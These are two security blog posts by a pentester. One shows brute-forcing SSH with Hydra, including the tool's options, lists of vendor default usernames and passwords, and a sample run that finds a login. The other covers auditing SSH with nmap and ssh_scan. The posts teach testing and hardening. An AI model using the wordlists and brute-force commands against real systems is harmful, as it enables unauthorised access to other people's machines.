Attacking SSH Over the Wire - Go Red Team!
So, now that we've talked about securing SSH and auditing SSH over the last few days, how about attacking SSH?
A primary method is to simply brute force hosts that have userid/password authentication enabled. Hydra and Medusa both have nice interfaces for this. I like using Hydra for this - it allows you to do a password "spray" attack. A spray attack takes each password on th list, and tries it against each userid on the list (ie - loop the password first, then the userid) - this tends to "space out" the attempts per account, and so allows you to reduce the risk of account lockouts.
Hydra syntax options include (run hydra with no options for the help text):
Options:
-R restore a previous aborted/crashed session
-I ignore an existing restore file (don't wait 10 seconds)
-S perform an SSL connect
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
-y disable use of symbols in bruteforce, see above
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-o FILE write found login/password pairs to FILE instead of stdout
-b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
-f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-T TASKS run TASKS connects in parallel overall (for -M, default: 64)
-w / -W TIME wait time for a response (32) / between connects per thread (0)
-c TIME wait time per login attempt over all threads (enforces -t 1)
-4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
-v / -V / -d verbose mode / show login+pass for each attempt / debug mode
-O use old SSL v2 and v3
-q do not print messages about connection errors
-U service module usage details
-h more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
As you can see, you can use this tool to attack a boatload of different services, with a lot of ways to slice and dice the attack.
I'll start with a standard userid and password list - this list covers several defaults from over the years and across multiple vendors. A more complete list can be found at http://www.defaultpassword.com
file users.in:
root
admin
ADMIN
USERID
Administrator
administrator
netadmin
manager
Manager
operator
Operator
security
monitor
superuser
qsecofr
qpgmr
qsysopr
readonly
readwrite
system
SYSTEM
netman
Cisco
piranha
file passwords.in:
admin
admin123
ADMIN
setup
root
password
PASSWORD
Passw0rd!
Cisc0
Cisco
public
manager
security
michelangelo
Manager
MANAGER
operator
Operator
4Supp0rt
L3tM31n!
fibranne
monitor
superuser
qsecofr
qpgmr
qsysopr
friend
lucenttech2
lucenttech1
weblogic
tsunami
changeme
netman
piranha
Both Hydra and Medusa are installed on Kali, I'll try Hydra against an example service here:
root@kali:~/sshwork# hydra -L users.in -P passwords.in -t 2 ssh://192.168.122.5
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-31 23:19:54
[DATA] max 2 tasks per 1 server, overall 2 tasks, 24 login tries (l:4/p:6), ~12 tries per task
[DATA] attacking ssh://192.168.122.5:22/
[22][ssh] host: 192.168.122.5 login: admin password: L3tM31n!
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-31 23:20:02
Yes, it's as simple as that! Of course, it's only as good as the device administrator's poor choice of passwords - but as a pentester, I tend to see default passwords all the time - I'd say maybe in half the tests I run I'll find at least one network, server management or storage device with default credentials of some kind. This device then often gets me the man in the middle position to collect more info or more info to pivot on to the next thing. That's better odds than Vegas - a quick password test against a list of defaults is a must-do for any exposed services!
This also means that having an SSH service exposed to the internet with userid / password authentication is a very bad idea. Without exception, any client device I've seen in this situation either has months of brute force attempts in their logs, is was compromised months or years ago. If you must have SSH service on the internet, please (please please) implement that with keys or 2FA (two factor authentication). This was bad enough when the source IP's indicated "kids in university", but now-a-days the source addresses for these attacks are often other compromised hosts, and the compute power of the hosts are being used for currency mining or other "revenue generation" bot-schemes.
Really this same advice should be considered for any service on the internet. If you are protected only by a userid and password for your mail, web or VPN services, really I'd consider that to be an easy target also (yes, we'll talk about OWA next week, stay tuned). For a catch-all, "fix-them-all" solution, two factor or multi-factor authentication goes a long way. 2FA / MFA at least prevents the easy brute forcing tools from succeeding (if the attacker has days, weeks or months to put into the effort, which they absolutely do).
And yes, you can attack SSH with MiTM (Monkey in the Middle / Man in the Middle) methods - but that's a topic for another day! (so is key based authentication)
If you've found "something good" during an assessemet or pentest, please do share a (sanitized) war story using our comment form! That is, if your NDA allows :-)
===============
Rob VandenBrink
Compugen
Auditing SSH Settings (some Blue Team, some Red Team)
Yesterday we discussed revisiting SSH configurations and updating settings. Now that this is done across your organization (just kidding), how will you audit this. In particular, what about hosts that you don’t know are there, or that you don’t know are running SSH?
For starters, nmap makes a great audit tool. A simple scan for port 22 will look like this:
nmap –p 22 –Pn --open x.x.x0/24
(note that this only probes port 22, you might want to add 222 or 2222 or 2323 – or even scan all of 1-65535, and look for SSH on other ports)
A more useful scan though will give you information on the services (-sV) and OS (-O):
nmap –p 22 –Pn --open –sV –O x.x.x0/24
If you have thousands of hosts to assess, you can look at MASSCAN instead of nmap to get the initial “find the open ports” scan job done quicker. While MASSCAN will do the initial scan at blinding speed, Nmap and other tools will do a better job once you start asking for more complex output.
Or, looking for SSH version 1 servers:
nmap –p 22 –Pn –open x.x.x.0/24 –script sshv1.nse
Or even more useful, just pull the ciphers supported in the target SSH servers:
nmap –p 22 –Pn –open x.x.x.0/24 –script ssh2-enum-algos.nse
A tool that I’ve been playing with the last week or so goes one better. Ssh-scan assesses the target host, then dumps it’s ciphers and the config bits that it can deduce remotely, then gives you recommendations based on policies (some default policies are included with the tool). This is by no means the only SSH scanner out there, there are certainly dozens of similar tools, ssh_scan is just a new one that popped up in my Twitter feed this past month. Tools like Nessus or OpenVAS will also do a good job on these assessments (try one against the next against the next, let us know what you see!)
Ssh_scan is extremely easy to install – on Kali (or almost any Linux distro with Ruby installed), simply run:
gem install ssh_scan
Their site also has instructions to run this in Docker.
A scan of a typical host (an ESXi with a default SSH config) might look like this (note the recommendations section, in red)
#ssh_scan -t 192.168.122.50
[
{
"ssh_scan_version": "0.0.29",
"ip": "192.168.122.50",
"hostname": "",
"port": 22,
"server_banner": "SSH-2.0-OpenSSH_5.6",
"ssh_version": 2.0,
"os": "unknown",
"os_cpe": "o:unknown",
"ssh_lib": "openssh",
"ssh_lib_cpe": "a:openssh:openssh:5.6",
"key_algorithms": [
"diffie-hellman-group-exchange-sha256",
"diffie-hellman-group-exchange-sha1",
"diffie-hellman-group14-sha1",
"diffie-hellman-group1-sha1"
],
"encryption_algorithms_client_to_server": [
"aes128-ctr",
"aes192-ctr",
"aes256-ctr",
"3des-cbc"
],
"encryption_algorithms_server_to_client": [
"aes128-ctr",
"aes192-ctr",
"aes256-ctr",
"3des-cbc"
],
"mac_algorithms_client_to_server": [
"hmac-sha1",
"hmac-sha1-96"
],
"mac_algorithms_server_to_client": [
"hmac-sha1",
"hmac-sha1-96"
],
"compression_algorithms_client_to_server": [
"none",
"zlib@openssh.com"
],
"compression_algorithms_server_to_client": [
"none",
"zlib@openssh.com"
],
"languages_client_to_server": [
],
"languages_server_to_client": [
],
"auth_methods": [
"publickey",
"keyboard-interactive"
],
"fingerprints": {
"dsa": {
"known_bad": "false",
"md5": "65:98:f9:e9:94:00:e4:21:d8:5a:d8:4e:b3:aa:d5:32",
"sha1": "d8:c3:8b:da:3f:37:7e:f7:a3:d6:36:10:37:f5:6a:8d:df:e6:74:84",
"sha256": "21:b0:70:98:0c:e3:1b:77:b3:fc:01:7c:dc:99:6a:ea:a9:57:f1:ef:90:8c:80:01:3e:17:6b:1e:51:22:c9:5a"
},
"rsa": {
"known_bad": "false",
"md5": "c4:6c:3b:22:f7:60:9a:57:9e:a1:df:84:66:53:15:92",
"sha1": "ed:f4:d9:37:a6:be:8d:fc:de:dd:2a:68:a0:7e:08:cb:97:58:2c:d9",
"sha256": "2b:37:be:45:7c:9c:c3:51:eb:15:54:97:54:9b:ab:6d:81:73:a1:94:66:62:e1:9b:4a:92:13:d7:92:f6:1d:84"
}
},
"duplicate_host_key_ips": [
],
"compliance": {
"policy": "Mozilla Modern",
"compliant": false,
"recommendations": [
"Add these key exchange algorithms: curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256",
"Add these MAC algorithms: hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com",
"Add these encryption ciphers: chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com",
"Remove these key exchange algorithms: diffie-hellman-group-exchange-sha1, diffie-hellman-group14-sha1, diffie-hellman-group1-sha1",
"Remove these MAC algorithms: hmac-sha1, hmac-sha1-96",
"Remove these encryption ciphers: 3des-cbc",
"Remove these authentication methods: keyboard-interactive"
],
"references": [
"https://wiki.mozilla.org/Security/Guidelines/OpenSSH"
]
},
"start_time": "2017-10-30 09:17:24 -0400",
"end_time": "2017-10-30 09:17:25 -0400",
"scan_duration_seconds": 1.034291524
}
]
Note the recommendations section. On ESXi especially, if you combine this with the advice from VMware and the CIS Hardening Guide, the guidance really boils down to “why did you enable SSH on that box anyway?” – for vSphere, really you are better off to use the API to script against the environment (which is usually why people enable SSH on that platform)
In another example, scanning a pfSense firewall (just the recommendations shown):
"compliance": {
"policy": "Mozilla Modern",
"compliant": false,
"recommendations": [
"Add these key exchange algorithms: ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256",
"Remove these MAC algorithms: hmac-ripemd160-etm@openssh.com, hmac-ripemd160",
"Remove these authentication methods: password, keyboard-interactive"
],
"references": [
"https://wiki.mozilla.org/Security/Guidelines/OpenSSH"
]
}
Here we see that the recommendations include removal of the default “password, keyboard interactive” authentication (in other words, go to keys for authentication instead of userid/password), as well as some SSH "tech" recommendations.
While you should scan everything with tools like Nessus or OpenVAS, the output from these tools can be a tidal wave of duplicate and overlapping advice. You can certainly tune either product to give you pinpoint results, but that can be a bit of a job too. If you are just looking to have a “fix SSH in my infrastructure” day, combining nmap and ssh_scan can give you “just the facts” to get the job done!
Have you worked with a different or maybe a better SSH audit tool? Please, use our comment form and let us know!
If you book yourself a "fix my SSH services" day, and you're able to share some war stories, please also use that comment form!
===============
Rob VandenBrink
Compugen
Comments